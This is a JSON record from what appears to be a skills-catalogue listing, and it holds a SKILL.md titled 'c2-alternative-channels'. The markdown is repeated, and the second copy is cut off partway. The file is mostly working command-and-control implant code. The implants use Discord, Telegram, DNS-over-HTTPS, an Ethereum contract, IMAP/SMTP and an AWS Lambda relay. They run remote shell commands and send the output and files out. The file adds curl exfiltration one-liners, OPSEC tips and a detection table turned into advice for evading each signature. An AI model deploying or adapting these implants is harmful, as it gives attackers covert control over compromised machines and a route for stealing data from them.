[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DG2TSAPH53D5VGT3BKDDNC":3,"skill-same:01M7DG2TSAPH53D5VGT3BKDDNC":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DG2TSAPH53D5VGT3BKDDNC","c2-alternative-channels",null,"Non-traditional C2 channels — Discord\u002FTelegram bots, DNS-over-HTTPS, blockchain-based C2, email-based C2, and cloud function dead drops for covert command and control.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fpost-exploit\u002Fc2-alternative-channels\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: c2-alternative-channels\ndescription: \"Non-traditional C2 channels — Discord\u002FTelegram bots, DNS-over-HTTPS, blockchain-based C2, email-based C2, and cloud function dead drops for covert command and control.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: command-and-control\n  when_to_use: \"alternative c2, discord c2, telegram c2, blockchain c2, email c2, dns over https, dead drop resolver, cloud c2, lambda c2, serverless c2\"\n  tags: c2, discord, telegram, blockchain, email, doh, dead-drop, cloud, serverless, covert-channel\n  mitre_attack: T1102, T1071.004, T1071.003, T1573\n---\n\n# Alternative C2 Channels\n\nNon-traditional command-and-control channels leverage legitimate services as transport to evade network monitoring. By routing C2 through platforms that are whitelisted or too high-volume to block, operators bypass proxy inspection, domain reputation checks, and protocol-based detection.\n\n## Quick Reference\n\n```bash\n# Discord webhook C2 — post command output\ncurl -X POST -H \"Content-Type: application\u002Fjson\" \\\n  -d \"{\\\"content\\\":\\\"$(whoami)\\\"}\" \\\n  \"https:\u002F\u002Fdiscord.com\u002Fapi\u002Fwebhooks\u002F\u003CWEBHOOK_ID>\u002F\u003CWEBHOOK_TOKEN>\"\n\n# Telegram bot C2 — poll for commands\ncurl -s \"https:\u002F\u002Fapi.telegram.org\u002Fbot\u003CBOT_TOKEN>\u002FgetUpdates\" | jq '.result[-1].message.text'\n\n# DNS-over-HTTPS exfil via Google\ncurl -s \"https:\u002F\u002Fdns.google\u002Fresolve?name=$(echo \u003CDATA> | base64 | tr '+\u002F' '-_').c2.\u003CTARGET>&type=TXT\"\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique | ID | Usage in Skill |\n|-----------|----|----------------|\n| Web Service | T1102 | Discord, Telegram, cloud functions as C2 relay |\n| Application Layer Protocol: DNS | T1071.004 | DNS-over-HTTPS for command\u002Fdata tunneling |\n| Application Layer Protocol: Mail Protocols | T1071.003 | IMAP\u002FSMTP email-based C2 |\n| Encrypted Channel | T1573 | TLS-wrapped comms to legitimate services |\n\n## 1. Discord Webhook C2\n\nDiscord webhooks provide fire-and-forget output exfiltration. Combined with a bot that reads channel messages, this creates a full bidirectional C2 channel over HTTPS to `discord.com` — a domain almost never blocked.\n\n### Setup\n```bash\n# Create a Discord server and channel for C2\n# Settings > Integrations > Webhooks > New Webhook\n# Copy webhook URL: https:\u002F\u002Fdiscord.com\u002Fapi\u002Fwebhooks\u002F\u003CID>\u002F\u003CTOKEN>\n\n# Create a bot for command input:\n# https:\u002F\u002Fdiscord.com\u002Fdevelopers\u002Fapplications > New Application > Bot\n# Enable MESSAGE CONTENT intent\n# Invite bot to server with Send Messages + Read Message History\n```\n\n### Implant Logic (Python)\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Discord C2 implant — polls channel for commands, posts output via webhook.\"\"\"\nimport requests, subprocess, time, json, os\n\nWEBHOOK_URL  = \"https:\u002F\u002Fdiscord.com\u002Fapi\u002Fwebhooks\u002F\u003CWEBHOOK_ID>\u002F\u003CWEBHOOK_TOKEN>\"\nBOT_TOKEN    = \"\u003CBOT_TOKEN>\"\nCHANNEL_ID   = \"\u003CCHANNEL_ID>\"\nHEADERS      = {\"Authorization\": f\"Bot {BOT_TOKEN}\"}\nSLEEP        = 30\nLAST_MSG_ID  = None\n\ndef poll_command():\n    global LAST_MSG_ID\n    url = f\"https:\u002F\u002Fdiscord.com\u002Fapi\u002Fv10\u002Fchannels\u002F{CHANNEL_ID}\u002Fmessages?limit=1\"\n    r = requests.get(url, headers=HEADERS)\n    if r.status_code != 200:\n        return None\n    msgs = r.json()\n    if not msgs:\n        return None\n    msg = msgs[0]\n    if msg[\"id\"] == LAST_MSG_ID:\n        return None\n    LAST_MSG_ID = msg[\"id\"]\n    return msg[\"content\"]\n\ndef send_output(data):\n    # Discord message limit is 2000 chars; chunk if needed\n    for i in range(0, len(data), 1900):\n        chunk = data[i:i+1900]\n        requests.post(WEBHOOK_URL, json={\"content\": f\"```\\n{chunk}\\n```\"})\n\nwhile True:\n    cmd = poll_command()\n    if cmd and cmd.startswith(\"!exec \"):\n        try:\n            out = subprocess.check_output(\n                cmd[6:], shell=True, stderr=subprocess.STDOUT, timeout=30\n            ).decode(errors=\"replace\")\n        except subprocess.TimeoutExpired:\n            out = \"[TIMEOUT]\"\n        except Exception as e:\n            out = f\"[ERROR] {e}\"\n        send_output(out)\n    time.sleep(SLEEP)\n```\n\n### OPSEC Notes\n- All traffic goes to `discord.com:443` — TLS-encrypted, CDN-hosted\n- Rate limit: ~5 requests\u002Fsec per webhook; space commands to avoid `429`\n- Bot token exposure = full channel compromise; rotate after engagement\n- Discord logs message content — treat the channel as burned post-op\n\n## 2. Telegram Bot C2\n\nTelegram's Bot API provides reliable bidirectional C2 with built-in encryption, file transfer, and global CDN distribution.\n\n### Setup\n```bash\n# Create bot via @BotFather on Telegram:\n#   \u002Fnewbot -> name -> username -> receive BOT_TOKEN\n# Get chat ID:\ncurl -s \"https:\u002F\u002Fapi.telegram.org\u002Fbot\u003CBOT_TOKEN>\u002FgetUpdates\" | jq '.result[0].message.chat.id'\n```\n\n### Implant Logic (Python)\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Telegram Bot C2 — long-poll getUpdates, execute, reply.\"\"\"\nimport requests, subprocess, time\n\nBOT_TOKEN = \"\u003CBOT_TOKEN>\"\nCHAT_ID   = \"\u003CCHAT_ID>\"\nAPI       = f\"https:\u002F\u002Fapi.telegram.org\u002Fbot{BOT_TOKEN}\"\nOFFSET    = 0\nSLEEP     = 15\n\ndef poll():\n    global OFFSET\n    r = requests.get(f\"{API}\u002FgetUpdates\", params={\"offset\": OFFSET, \"timeout\": 30})\n    updates = r.json().get(\"result\", [])\n    for u in updates:\n        OFFSET = u[\"update_id\"] + 1\n        text = u.get(\"message\", {}).get(\"text\", \"\")\n        if text.startswith(\"\u002Frun \"):\n            yield text[5:]\n\ndef reply(text):\n    # Telegram message limit: 4096 chars\n    for i in range(0, len(text), 4000):\n        requests.post(f\"{API}\u002FsendMessage\", json={\n            \"chat_id\": CHAT_ID,\n            \"text\": f\"```\\n{text[i:i+4000]}\\n```\",\n            \"parse_mode\": \"Markdown\"\n        })\n\ndef upload(path):\n    with open(path, \"rb\") as f:\n        requests.post(f\"{API}\u002FsendDocument\", data={\"chat_id\": CHAT_ID}, files={\"document\": f})\n\nwhile True:\n    for cmd in poll():\n        if cmd.startswith(\"upload \"):\n            upload(cmd[7:])\n            continue\n        try:\n            out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=60)\n            reply(out.decode(errors=\"replace\"))\n        except Exception as e:\n            reply(f\"[ERROR] {e}\")\n    time.sleep(SLEEP)\n```\n\n### Features\n- **File exfil**: `sendDocument` uploads files up to 50 MB\n- **Long polling**: `getUpdates?timeout=30` reduces beacon frequency\n- **Inline keyboards**: Build interactive menus for operator convenience\n- **OPSEC**: Traffic to `api.telegram.org` over TLS; set bot privacy mode\n\n## 3. DNS-over-HTTPS (DoH) C2\n\nDNS-over-HTTPS encapsulates DNS queries inside HTTPS to providers like Google (`dns.google`) or Cloudflare (`1.1.1.1`). Since DoH bypasses traditional DNS monitoring (no UDP\u002F53 inspection), it creates a covert channel.\n\n### Architecture\n```\nImplant -> HTTPS -> dns.google\u002Fresolve -> Authoritative NS (operator-controlled)\n                                          ^\n                                          | TXT records = encoded commands\n                                          | A records   = encoded data\n```\n\n### Implant Logic (Bash)\n```bash\n#!\u002Fbin\u002Fbash\n# DoH C2 beacon — query operator's DNS for commands via Google DoH\n\nC2_DOMAIN=\"c2.\u003CTARGET>\"\nDOH_URL=\"https:\u002F\u002Fdns.google\u002Fresolve\"\nSLEEP=60\n\nencode() { echo -n \"$1\" | base64 | tr '+\u002F=' '-_ ' | tr -d ' '; }\ndecode() { echo -n \"$1\" | tr '-_' '+\u002F' | base64 -d 2>\u002Fdev\u002Fnull; }\n\n# Register implant\nHOSTNAME=$(hostname)\nIMPLANT_ID=$(encode \"$HOSTNAME\" | head -c 20)\ncurl -s \"${DOH_URL}?name=${IMPLANT_ID}.reg.${C2_DOMAIN}&type=A\" > \u002Fdev\u002Fnull\n\nwhile true; do\n    # Poll for command\n    RESP=$(curl -s \"${DOH_URL}?name=${IMPLANT_ID}.cmd.${C2_DOMAIN}&type=TXT\")\n    CMD=$(echo \"$RESP\" | jq -r '.Answer[0].data \u002F\u002F empty' | tr -d '\"')\n\n    if [ -n \"$CMD\" ]; then\n        DECODED=$(decode \"$CMD\")\n        OUTPUT=$(eval \"$DECODED\" 2>&1 | head -c 200)\n        ENCODED=$(encode \"$OUTPUT\")\n\n        # Exfil output via subdomain labels (max 63 chars per label)\n        for chunk in $(echo \"$ENCODED\" | fold -w 60); do\n            curl -s \"${DOH_URL}?name=${chunk}.out.${IMPLANT_ID}.${C2_DOMAIN}&type=A\" > \u002Fdev\u002Fnull\n        done\n    fi\n    sleep $SLEEP\ndone\n```\n\n### DoH Providers\n| Provider | Endpoint | Notes |\n|----------|----------|-------|\n| Google | `https:\u002F\u002Fdns.google\u002Fresolve` | JSON API, widely allowed |\n| Cloudflare | `https:\u002F\u002F1.1.1.1\u002Fdns-query` | Wire format + JSON |\n| Quad9 | `https:\u002F\u002Fdns.quad9.net:5053\u002Fdns-query` | Less common, lower profile |\n\n### Limitations\n- TXT records limited to 255 bytes per string (chain multiple)\n- DNS label max 63 chars, total FQDN max 253 chars\n- High-volume queries to operator domain may trigger DNS analytics\n\n## 4. Blockchain-Based C2 (Ethereum Smart Contract)\n\nSmart contracts on Ethereum (or other EVM chains) act as a censorship-resistant dead-drop. Commands are stored on-chain; the implant reads contract state via public RPC endpoints.\n\n### Smart Contract (Solidity)\n```solidity\n\u002F\u002F SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract C2 {\n    address private owner;\n    mapping(bytes32 => string) private commands;\n    mapping(bytes32 => string) private responses;\n\n    constructor() { owner = msg.sender; }\n\n    modifier onlyOwner() { require(msg.sender == owner, \"\"); _; }\n\n    function setCommand(bytes32 implantId, string calldata cmd) external onlyOwner {\n        commands[implantId] = cmd;\n    }\n\n    function getCommand(bytes32 implantId) external view returns (string memory) {\n        return commands[implantId];\n    }\n\n    function postResponse(bytes32 implantId, string calldata resp) external {\n        responses[implantId] = resp;\n    }\n\n    function getResponse(bytes32 implantId) external view returns (string memory) {\n        return responses[implantId];\n    }\n}\n```\n\n### Implant Logic (Python)\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Ethereum smart contract C2 — read commands from chain, post results.\"\"\"\nfrom web3 import Web3\nimport subprocess, time, hashlib\n\nRPC_URL      = \"https:\u002F\u002Fmainnet.infura.io\u002Fv3\u002F\u003CAPI_KEY>\"  # or any public RPC\nCONTRACT_ADDR = \"\u003CDEPLOYED_CONTRACT_ADDRESS>\"\nABI          = [...]  # ABI from compilation\nIMPLANT_ID   = Web3.keccak(text=__import__(\"socket\").gethostname())\n\nw3 = Web3(Web3.HTTPProvider(RPC_URL))\ncontract = w3.eth.contract(address=CONTRACT_ADDR, abi=ABI)\n\nwhile True:\n    cmd = contract.functions.getCommand(IMPLANT_ID).call()\n    if cmd:\n        try:\n            out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=30)\n            # Post response on-chain (requires funded wallet for gas)\n            # For read-only implants, exfil via side channel instead\n        except Exception as e:\n            out = str(e).encode()\n    time.sleep(300)\n```\n\n### OPSEC Notes\n- **Read operations are free** — no wallet or gas needed to poll commands\n- **Write operations cost gas** — use a side channel (DNS, HTTP) for responses\n- Contract is public and immutable — use encryption for command\u002Fresponse data\n- Use Infura, Alchemy, or public RPC nodes; traffic looks like normal Web3 calls\n- Deploy on testnets (Sepolia) for testing; mainnet for real operations\n\n## 5. Email-Based C2 (IMAP\u002FSMTP)\n\nEmail C2 uses standard mail protocols. The implant logs into a shared mailbox, reads commands from emails, and replies with output. Traffic blends with normal corporate email.\n\n### Implant Logic (Python)\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Email C2 — read commands from IMAP inbox, send results via SMTP.\"\"\"\nimport imaplib, smtplib, email, subprocess, time\nfrom email.mime.text import MIMEText\n\nIMAP_SERVER = \"imap.gmail.com\"\nSMTP_SERVER = \"smtp.gmail.com\"\nEMAIL_ADDR  = \"\u003CC2_EMAIL>@gmail.com\"\nEMAIL_PASS  = \"\u003CAPP_PASSWORD>\"\nOPERATOR    = \"\u003COPERATOR_EMAIL>\"\nSLEEP       = 120\n\ndef check_commands():\n    imap = imaplib.IMAP4_SSL(IMAP_SERVER)\n    imap.login(EMAIL_ADDR, EMAIL_PASS)\n    imap.select(\"INBOX\")\n    _, nums = imap.search(None, \"UNSEEN\", f'FROM \"{OPERATOR}\"')\n    commands = []\n    for num in nums[0].split():\n        _, data = imap.fetch(num, \"(RFC822)\")\n        msg = email.message_from_bytes(data[0][1])\n        body = msg.get_payload(decode=True).decode(errors=\"replace\")\n        commands.append(body.strip())\n        imap.store(num, \"+FLAGS\", \"\\\\Deleted\")\n    imap.expunge()\n    imap.logout()\n    return commands\n\ndef send_result(subject, body):\n    msg = MIMEText(body)\n    msg[\"Subject\"] = subject\n    msg[\"From\"]    = EMAIL_ADDR\n    msg[\"To\"]      = OPERATOR\n    with smtplib.SMTP_SSL(SMTP_SERVER, 465) as s:\n        s.login(EMAIL_ADDR, EMAIL_PASS)\n        s.send_message(msg)\n\nwhile True:\n    for cmd in check_commands():\n        try:\n            out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=60)\n            send_result(f\"RE: Report {time.strftime('%H%M')}\", out.decode(errors=\"replace\"))\n        except Exception as e:\n            send_result(\"RE: Error\", str(e))\n    time.sleep(SLEEP)\n```\n\n### OPSEC Notes\n- Use app-specific passwords (Gmail) or OAuth tokens\n- Subject lines should mimic legitimate correspondence\n- Encrypt command\u002Fresponse body with AES; embed key in implant\n- IMAP IDLE (push) reduces polling frequency\n- Corporate Exchange\u002FO365 via EWS or Graph API blends with enterprise traffic\n\n## 6. Cloud Function Dead Drops (Serverless C2)\n\nServerless functions (AWS Lambda, Azure Functions, GCP Cloud Functions) act as C2 redirectors. The implant calls a legitimate cloud endpoint; the function relays to the operator.\n\n### AWS Lambda Relay\n```python\n# Lambda function — relays between implant and operator S3 bucket\nimport boto3, json\n\ns3 = boto3.client(\"s3\")\nBUCKET = \"\u003CC2_BUCKET>\"\n\ndef lambda_handler(event, context):\n    body = json.loads(event.get(\"body\", \"{}\"))\n    action = body.get(\"action\")\n    implant_id = body.get(\"id\", \"unknown\")\n\n    if action == \"checkin\":\n        # Return pending command from S3\n        try:\n            obj = s3.get_object(Bucket=BUCKET, Key=f\"cmd\u002F{implant_id}\")\n            cmd = obj[\"Body\"].read().decode()\n            s3.delete_object(Bucket=BUCKET, Key=f\"cmd\u002F{implant_id}\")\n            return {\"statusCode\": 200, \"body\": json.dumps({\"cmd\": cmd})}\n        except s3.exceptions.NoSuchKey:\n            return {\"statusCode\": 200, \"body\": json.dumps({\"cmd\": \"\"})}\n\n    elif action == \"result\":\n        # Store command output\n        s3.put_object(\n            Bucket=BUCKET,\n            Key=f\"out\u002F{implant_id}\u002F{context.aws_request_id}\",\n            Body=body.get(\"data\", \"\").encode()\n        )\n        return {\"statusCode\": 200, \"body\": \"ok\"}\n```\n\n### Azure Functions Relay\n```python\n# Same pattern as Lambda — uses Azure Blob Storage instead of S3.\n# Endpoint: https:\u002F\u002F\u003CAPP>.azurewebsites.net\u002Fapi\u002Fc2\n# Storage: Azure Blob container for cmd\u002F{implant_id} and out\u002F{implant_id}\n# SKU: Consumption plan (serverless, pay-per-execution)\n```\n\n### Implant Calling Pattern\n```bash\n# Checkin — looks like normal API call to *.amazonaws.com or *.azurewebsites.net\ncurl -s -X POST \"https:\u002F\u002F\u003CFUNCTION_URL>\u002Fapi\u002Fc2\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d \"{\\\"action\\\":\\\"checkin\\\",\\\"id\\\":\\\"$(hostname | md5sum | cut -c1-8)\\\"}\"\n\n# Post results\ncurl -s -X POST \"https:\u002F\u002F\u003CFUNCTION_URL>\u002Fapi\u002Fc2\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d \"{\\\"action\\\":\\\"result\\\",\\\"id\\\":\\\"$(hostname | md5sum | cut -c1-8)\\\",\\\"data\\\":\\\"$(whoami | base64)\\\"}\"\n```\n\n## Detection Signatures\n\n| Indicator | Pattern | Mitigation |\n|-----------|---------|------------|\n| Discord API calls | Outbound HTTPS to `discord.com\u002Fapi\u002Fwebhooks` | Rotate webhooks; use bot API over multiple channels |\n| Telegram API calls | Outbound HTTPS to `api.telegram.org` | Route through proxy; use MTProto instead of Bot API |\n| High-frequency DoH | Repeated `dns.google\u002Fresolve` with encoded subdomains | Lower beacon rate; rotate DoH providers |\n| Blockchain RPC | JSON-RPC calls to Infura\u002FAlchemy with `eth_call` | Use public RPC endpoints; rotate providers |\n| IMAP\u002FSMTP patterns | Periodic login\u002Flogout cycles to mail server | Use IMAP IDLE; vary timing |\n| Cloud function calls | Periodic POST to `*.amazonaws.com` \u002F `*.azurewebsites.net` | Jitter timing; rotate function URLs |\n| Base64 in DNS labels | Encoded subdomains in queries | Use custom encoding; fragment data |\n\n## Error Handling & Edge Cases\n\n| Issue | Symptom | Resolution |\n|-------|---------|------------|\n| Discord rate limit | HTTP 429 responses | Implement exponential backoff; reduce output frequency |\n| Telegram bot blocked | `getUpdates` returns 409 | Only one poller per bot; use webhook mode instead |\n| DoH provider blocks | DNS queries return SERVFAIL | Rotate to alternate DoH provider (Google\u002FCF\u002FQuad9) |\n| Ethereum gas spike | Transaction pending indefinitely | Use read-only pattern; exfil via side channel |\n| Email account locked | IMAP auth failure | Use OAuth; avoid rapid login cycles |\n| Lambda cold start | First request takes 5-10 seconds | Use provisioned concurrency or keep-alive pings |\n| Cloud function rate limit | HTTP 429 from API Gateway | Distribute across multiple functions\u002Fregions |\n| TLS inspection | Proxy MITM breaks certificate pinning | Use certificate pinning bypass or alternate transport |\n\n## Decision Gate\n\n```\nWhat constraints exist on outbound traffic?\n├── Web traffic only (HTTP\u002FHTTPS whitelisted)\n│   ├── Social media allowed?\n│   │   ├── YES -> Discord or Telegram C2 (fastest setup)\n│   │   └── NO  -> Cloud function relay (*.amazonaws.com usually allowed)\n│   └── Cloud services allowed?\n│       ├── YES -> AWS Lambda \u002F Azure Functions dead drop\n│       └── NO  -> Domain fronting (see c2-domain-fronting skill)\n├── DNS allowed (UDP\u002F53 or DoH)\n│   ├── DoH to Google\u002FCloudflare reachable?\n│   │   ├── YES -> DoH C2 channel\n│   │   └── NO  -> Traditional DNS tunneling (see Sliver DNS)\n│   └── Custom authoritative NS available?\n│       └── YES -> Full DNS C2 with TXT record encoding\n├── Email allowed (IMAP\u002FSMTP\u002FEWS)\n│   ├── Corporate Exchange\u002FO365?\n│   │   └── Use Graph API or EWS — blends with enterprise mail\n│   └── External mail (Gmail)?\n│       └── Email C2 with app passwords\n└── Maximum stealth required\n    ├── Blockchain C2 (censorship-resistant, no takedown)\n    └── Combine channels: DoH for commands, Discord for exfil\n```\n\n## Tools & Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| Slackor | Slack-based C2 framework | https:\u002F\u002Fgithub.com\u002FCoalfire-Research\u002FSlackor |\n| DVMC2 | Discord\u002FVirus Total C2 | https:\u002F\u002Fgithub.com\u002F3xpl01tc0d3r\u002FDVMC2 |\n| Gcat | Gmail C2 channel | https:\u002F\u002Fgithub.com\u002Fbyt3bl33d3r\u002Fgcat |\n| DNScat2 | DNS tunnel C2 | https:\u002F\u002Fgithub.com\u002Fiagox86\u002Fdnscat2 |\n| godoh | DNS-over-HTTPS C2 | https:\u002F\u002Fgithub.com\u002Fsensepost\u002Fgodoh |\n| TrevorC2 | Legitimate website C2 | https:\u002F\u002Fgithub.com\u002Ftrustedsec\u002Ftrevorc2 |\n| Mythic | Multi-channel C2 framework | https:\u002F\u002Fgithub.com\u002Fits-a-feature\u002FMythic |\n| C3 | Custom C2 channel framework | https:\u002F\u002Fgithub.com\u002FFSecureLABS\u002FC3 |\n","# Alternative C2 Channels\n\nNon-traditional command-and-control channels leverage legitimate services as transport to evade network monitoring. By routing C2 through platforms that are whitelisted or too high-volume to block, operators bypass proxy inspection, domain reputation checks, and protocol-based detection.\n\n## Quick Reference\n\n```bash\n# Discord webhook C2 — post command output\ncurl -X POST -H \"Content-Type: application\u002Fjson\" \\\n  -d \"{\\\"content\\\":\\\"$(whoami)\\\"}\" \\\n  \"https:\u002F\u002Fdiscord.com\u002Fapi\u002Fwebhooks\u002F\u003CWEBHOOK_ID>\u002F\u003CWEBHOOK_TOKEN>\"\n\n# Telegram bot C2 — poll for commands\ncurl -s \"https:\u002F\u002Fapi.telegram.org\u002Fbot\u003CBOT_TOKEN>\u002FgetUpdates\" | jq '.result[-1].message.text'\n\n# DNS-over-HTTPS exfil via Google\ncurl -s \"https:\u002F\u002Fdns.google\u002Fresolve?name=$(echo \u003CDATA> | base64 | tr '+\u002F' '-_').c2.\u003CTARGET>&type=TXT\"\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique | ID | Usage in Skill |\n|-----------|----|----------------|\n| Web Service | T1102 | Discord, Telegram, cloud functions as C2 relay |\n| Application Layer Protocol: DNS | T1071.004 | DNS-over-HTTPS for command\u002Fdata tunneling |\n| Application Layer Protocol: Mail Protocols | T1071.003 | IMAP\u002FSMTP email-based C2 |\n| Encrypted Channel | T1573 | TLS-wrapped comms to legitimate services |\n\n## 1. Discord Webhook C2\n\nDiscord webhooks provide fire-and-forget output exfiltration. Combined with a bot that reads channel messages, this creates a full bidirectional C2 channel over HTTPS to `discord.com` — a domain almost never blocked.\n\n### Setup\n```bash\n# Create a Discord server and channel for C2\n# Settings > Integrations > Webhooks > New Webhook\n# Copy webhook URL: https:\u002F\u002Fdiscord.com\u002Fapi\u002Fwebhooks\u002F\u003CID>\u002F\u003CTOKEN>\n\n# Create a bot for command input:\n# https:\u002F\u002Fdiscord.com\u002Fdevelopers\u002Fapplications > New Application > Bot\n# Enable MESSAGE CONTENT intent\n# Invite bot to server with Send Messages + Read Message History\n```\n\n### Implant Logic (Python)\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Discord C2 implant — polls channel for commands, posts output via webhook.\"\"\"\nimport requests, subprocess, time, json, os\n\nWEBHOOK_URL  = \"https:\u002F\u002Fdiscord.com\u002Fapi\u002Fwebhooks\u002F\u003CWEBHOOK_ID>\u002F\u003CWEBHOOK_TOKEN>\"\nBOT_TOKEN    = \"\u003CBOT_TOKEN>\"\nCHANNEL_ID   = \"\u003CCHANNEL_ID>\"\nHEADERS      = {\"Authorization\": f\"Bot {BOT_TOKEN}\"}\nSLEEP        = 30\nLAST_MSG_ID  = None\n\ndef poll_command():\n    global LAST_MSG_ID\n    url = f\"https:\u002F\u002Fdiscord.com\u002Fapi\u002Fv10\u002Fchannels\u002F{CHANNEL_ID}\u002Fmessages?limit=1\"\n    r = requests.get(url, headers=HEADERS)\n    if r.status_code != 200:\n        return None\n    msgs = r.json()\n    if not msgs:\n        return None\n    msg = msgs[0]\n    if msg[\"id\"] == LAST_MSG_ID:\n        return None\n    LAST_MSG_ID = msg[\"id\"]\n    return msg[\"content\"]\n\ndef send_output(data):\n    # Discord message limit is 2000 chars; chunk if needed\n    for i in range(0, len(data), 1900):\n        chunk = data[i:i+1900]\n        requests.post(WEBHOOK_URL, json={\"content\": f\"```\\n{chunk}\\n```\"})\n\nwhile True:\n    cmd = poll_command()\n    if cmd and cmd.startswith(\"!exec \"):\n        try:\n            out = subprocess.check_output(\n                cmd[6:], shell=True, stderr=subprocess.STDOUT, timeout=30\n            ).decode(errors=\"replace\")\n        except subprocess.TimeoutExpired:\n            out = \"[TIMEOUT]\"\n        except Exception as e:\n            out = f\"[ERROR] {e}\"\n        send_output(out)\n    time.sleep(SLEEP)\n```\n\n### OPSEC Notes\n- All traffic goes to `discord.com:443` — TLS-encrypted, CDN-hosted\n- Rate limit: ~5 requests\u002Fsec per webhook; space commands to avoid `429`\n- Bot token exposure = full channel compromise; rotate after engagement\n- Discord logs message content — treat the channel as burned post-op\n\n## 2. Telegram Bot C2\n\nTelegram's Bot API provides reliable bidirectional C2 with built-in encryption, file transfer, and global CDN distribution.\n\n### Setup\n```bash\n# Create bot via @BotFather on Telegram:\n#   \u002Fnewbot -> name -> username -> receive BOT_TOKEN\n# Get chat ID:\ncurl -s \"https:\u002F\u002Fapi.telegram.org\u002Fbot\u003CBOT_TOKEN>\u002FgetUpdates\" | jq '.result[0].message.chat.id'\n```\n\n### Implant Logic (Python)\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Telegram Bot C2 — long-poll getUpdates, execute, reply.\"\"\"\nimport requests, subprocess, time\n\nBOT_TOKEN = \"\u003CBOT_TOKEN>\"\nCHAT_ID   = \"\u003CCHAT_ID>\"\nAPI       = f\"https:\u002F\u002Fapi.telegram.org\u002Fbot{BOT_TOKEN}\"\nOFFSET    = 0\nSLEEP     = 15\n\ndef poll():\n    global OFFSET\n    r = requests.get(f\"{API}\u002FgetUpdates\", params={\"offset\": OFFSET, \"timeout\": 30})\n    updates = r.json().get(\"result\", [])\n    for u in updates:\n        OFFSET = u[\"update_id\"] + 1\n        text = u.get(\"message\", {}).get(\"text\", \"\")\n        if text.startswith(\"\u002Frun \"):\n            yield text[5:]\n\ndef reply(text):\n    # Telegram message limit: 4096 chars\n    for i in range(0, len(text), 4000):\n        requests.post(f\"{API}\u002FsendMessage\", json={\n            \"chat_id\": CHAT_ID,\n            \"text\": f\"```\\n{text[i:i+4000]}\\n```\",\n            \"parse_mode\": \"Markdown\"\n        })\n\ndef upload(path):\n    with open(path, \"rb\") as f:\n        requests.post(f\"{API}\u002FsendDocument\", data={\"chat_id\": CHAT_ID}, files={\"document\": f})\n\nwhile True:\n    for cmd in poll():\n        if cmd.startswith(\"upload \"):\n            upload(cmd[7:])\n            continue\n        try:\n            out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=60)\n            reply(out.decode(errors=\"replace\"))\n        except Exception as e:\n            reply(f\"[ERROR] {e}\")\n    time.sleep(SLEEP)\n```\n\n### Features\n- **File exfil**: `sendDocument` uploads files up to 50 MB\n- **Long polling**: `getUpdates?timeout=30` reduces beacon frequency\n- **Inline keyboards**: Build interactive menus for operator convenience\n- **OPSEC**: Traffic to `api.telegram.org` over TLS; set bot privacy mode\n\n## 3. DNS-over-HTTPS (DoH) C2\n\nDNS-over-HTTPS encapsulates DNS queries inside HTTPS to providers like Google (`dns.google`) or Cloudflare (`1.1.1.1`). Since DoH bypasses traditional DNS monitoring (no UDP\u002F53 inspection), it creates a covert channel.\n\n### Architecture\n```\nImplant -> HTTPS -> dns.google\u002Fresolve -> Authoritative NS (operator-controlled)\n                                          ^\n                                          | TXT records = encoded commands\n                                          | A records   = encoded data\n```\n\n### Implant Logic (Bash)\n```bash\n#!\u002Fbin\u002Fbash\n# DoH C2 beacon — query operator's DNS for commands via Google DoH\n\nC2_DOMAIN=\"c2.\u003CTARGET>\"\nDOH_URL=\"https:\u002F\u002Fdns.google\u002Fresolve\"\nSLEEP=60\n\nencode() { echo -n \"$1\" | base64 | tr '+\u002F=' '-_ ' | tr -d ' '; }\ndecode() { echo -n \"$1\" | tr '-_' '+\u002F' | base64 -d 2>\u002Fdev\u002Fnull; }\n\n# Register implant\nHOSTNAME=$(hostname)\nIMPLANT_ID=$(encode \"$HOSTNAME\" | head -c 20)\ncurl -s \"${DOH_URL}?name=${IMPLANT_ID}.reg.${C2_DOMAIN}&type=A\" > \u002Fdev\u002Fnull\n\nwhile true; do\n    # Poll for command\n    RESP=$(curl -s \"${DOH_URL}?name=${IMPLANT_ID}.cmd.${C2_DOMAIN}&type=TXT\")\n    CMD=$(echo \"$RESP\" | jq -r '.Answer[0].data \u002F\u002F empty' | tr -d '\"')\n\n    if [ -n \"$CMD\" ]; then\n        DECODED=$(decode \"$CMD\")\n        